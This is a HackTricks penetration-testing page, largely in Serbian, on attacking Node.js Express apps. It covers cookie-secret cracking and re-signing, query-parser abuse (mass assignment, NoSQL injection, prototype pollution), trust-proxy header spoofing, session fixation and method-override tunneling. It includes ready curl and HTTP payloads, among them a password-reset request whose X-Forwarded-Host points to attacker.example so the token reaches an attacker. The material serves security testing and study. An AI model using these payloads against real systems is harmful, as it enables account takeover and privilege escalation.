NodeJS Express

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Quick Fingerprinting

Useful Express indicators during recon:

  • X-Powered-By: Express or stack traces mentioning express, body-parser, qs, cookie-parser, express-session, or finalhandler
  • Cookies prefixed with s: (signed cookie) or j: (JSON cookie)
  • Session cookies such as connect.sid
  • Hidden form fields or query parameters such as _method=PUT / _method=DELETE
  • Error pages leaking Cannot GET /path, Cannot POST /path, Unexpected token in body-parser, or URIError during query parsing

When you confirm Express, focus on the middleware chain, because most interesting bugs come from parsers, proxy trust, session handling, and method-tunneling rather than from the framework core itself.

The tool https://github.com/DigitalInterruption/cookie-monster is a utility for automating the testing and re-signing of Express.js cookie secrets.

Express commonly exposes two useful cookie formats:

  • s:<value>.<sig> signed cookies handled by cookie-parser or express-session
  • j:<json> JSON cookies that are automatically parsed by cookie-parser

If cookie-parser receives a signed cookie and the signature is invalid, the value becomes false instead of the tampered value. If the application accepts an array of secrets, old secrets may still verify existing cookies after rotation.

cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -n session

Prilagođeni wordlist

cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -w custom.lst

Testirajte više cookies koristeći batch mode

cookie-monster -b -f cookies.json

Testirajte više cookies koristeći batch mode sa custom wordlist

cookie-monster -b -f cookies.json -w custom.lst

Ako znate tajnu, možete signovati cookie.

cookie-monster -e -f new_cookie.json -k secret

Zloupotreba Query String-a i URL-Encoded parsera

Express targets često postaju zanimljivi kada parsiraju ključeve koje kontroliše napadač u ugnježdene objekte.

  • req.query može biti konfigurisan sa različitim parserima, uključujući qs
  • express.urlencoded({ extended: true }) koristi qs-stil parsiranja za application/x-www-form-urlencoded
  • Ugnježdeno parsiranje omogućava object injection, mass assignment, NoSQL injection i prototype pollution lance ako se parsirani objekat spoji u stanje aplikacije

Praktični payloadi za isprobavanje:

# Mass assignment style probe
curl 'https://target.example/profile?role=admin&isAdmin=true'

# Nested object / qs syntax
curl 'https://target.example/search?user[role]=admin&filters[name][$ne]=x'

# URL-encoded body against express.urlencoded({ extended: true })
curl -X POST 'https://target.example/api/update'   -H 'Content-Type: application/x-www-form-urlencoded'   --data 'profile[role]=admin&filters[$ne]=x'

Ako aplikacija reflektuje ili sačuva rezultujući objekat, pređite na posvećene stranice za detalje eksploatacije:

Mass Assignment Cwe 915

Express Prototype Pollution Gadgets

Dodatni testovi koje vredi poslati posebno za Express:

  • Duboko ugnježđavanje da se proveri ograničenja parsera, vremenska ograničenja ili razlike u 400/413
  • Duplikat ključeva da se vidi da li aplikacija zadržava prvu vrednost, poslednju vrednost ili niz
  • Sintaksa sa zagradama kao a[b][c]=1, tačkasta sintaksa kao a.b=1, i __proto__ / constructor[prototype] payloads

trust proxy Zloupotreba

Ako aplikacija koristi app.set("trust proxy", true) ili veruje previše hop-ova, Express će izvesti vrednosti relevantne za bezbednost iz zaglavlja za prosleđivanje. Ako reverse proxy ne prepiše ta zaglavlja, klijent ih može direktno falsifikovati.

Ovo utiče na:

  • req.hostname via X-Forwarded-Host
  • req.protocol via X-Forwarded-Proto
  • req.ip / req.ips via X-Forwarded-For

Ovo je korisno za:

  • Password reset poisoning and absolute URL poisoning
  • Bypassing IP-based allowlists, rate limits, or audit trails
  • Uticanje na rukovanje secure cookie-ima i logiku samo-HTTPS u aplikacijama koje se oslanjaju na req.protocol
  • Poisoning redirects or cacheable responses when the app templates absolute links with forwarded host/proto headers
POST /reset-password HTTP/1.1
Host: target.example
X-Forwarded-Host: attacker.example
X-Forwarded-Proto: https
X-Forwarded-For: 127.0.0.1
Content-Type: application/json

{"email":"victim@target.example"}

Proverite da li generisani linkovi, lokacije preusmeravanja, logovi ili odluke o kontroli pristupa sada koriste vrednosti koje je obezbedio napadač.

Related pages:

Reset/Forgotten Password Bypass

Cache Poisoning and Cache Deception

express-session Napomene za testiranje

Uobičajene Express deployment-e koriste express-session, koji potpisuje cookie sa identifikatorom sesije, ali stvarno stanje čuva na serverskoj strani.

Korisne provere:

  • Session fixation: autentifikujte se pomoću pre-login cookie-ja i proverite da li SID ostaje isti nakon prijave
  • Weak secret rotation: neke deployment implementacije verifikuju cookie-e koristeći niz starih tajni, pa prethodno validni potpisi mogu i dalje raditi
  • saveUninitialized: true: aplikacija izdaje pre-auth sesije anonimnim korisnicima, što olakšava fixation i povećava površinu sesija za brute-force ili cache analizu
  • MemoryStore u production obično ukazuje na slabu operativnu zrelost i nestabilno ponašanje sesija pri restartu

Praktičan workflow za fixation:

  1. Dobijte anonimni session cookie sa cilja.
  2. Pošaljite taj cookie žrtvi ili se njime sami autentifikujte.
  3. Proverite da li prijava vezuje autentifikovani status za postojeći SID.
  4. Ako jeste, replay-ujte isti cookie u zasebnoj browser sesiji.

Ako aplikacija ne poziva req.session.regenerate() nakon autentifikacije, fixation je često i dalje moguć.

Tunelovanje preko Method Override

Neke Express aplikacije koriste method-override da tuneluju metode koje HTML forme ne mogu nativno poslati. Kada je omogućeno, uvek testirajte da li možete smuggle opasne metode kroz rutu za koju front-end, WAF, ili CSRF logika pretpostavlja da je samo POST.

Tipične probe:

POST /users/42 HTTP/1.1
Host: target.example
X-HTTP-Method-Override: DELETE
Content-Type: application/x-www-form-urlencoded

confirm=yes
POST /users/42?_method=PUT HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded

role=admin

Zanimljivi uticaji:

  • Dostizanje skrivenih PUT / PATCH / DELETE ruta preko edge kontrole ograničene na POST
  • Zaobilaženje middleware-a specifičnog za rutu koji proverava samo req.method
  • Pokretanje handlera koji menjaju stanje putem CSRF kada aplikacija proverava samo spoljašnji metod zahteva

Po defaultu middleware obično prepisuje samo POST, zato dajte prioritet POST zahtevima sa override vrednostima u header-u, body-ju i query-stringu.

Reference

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks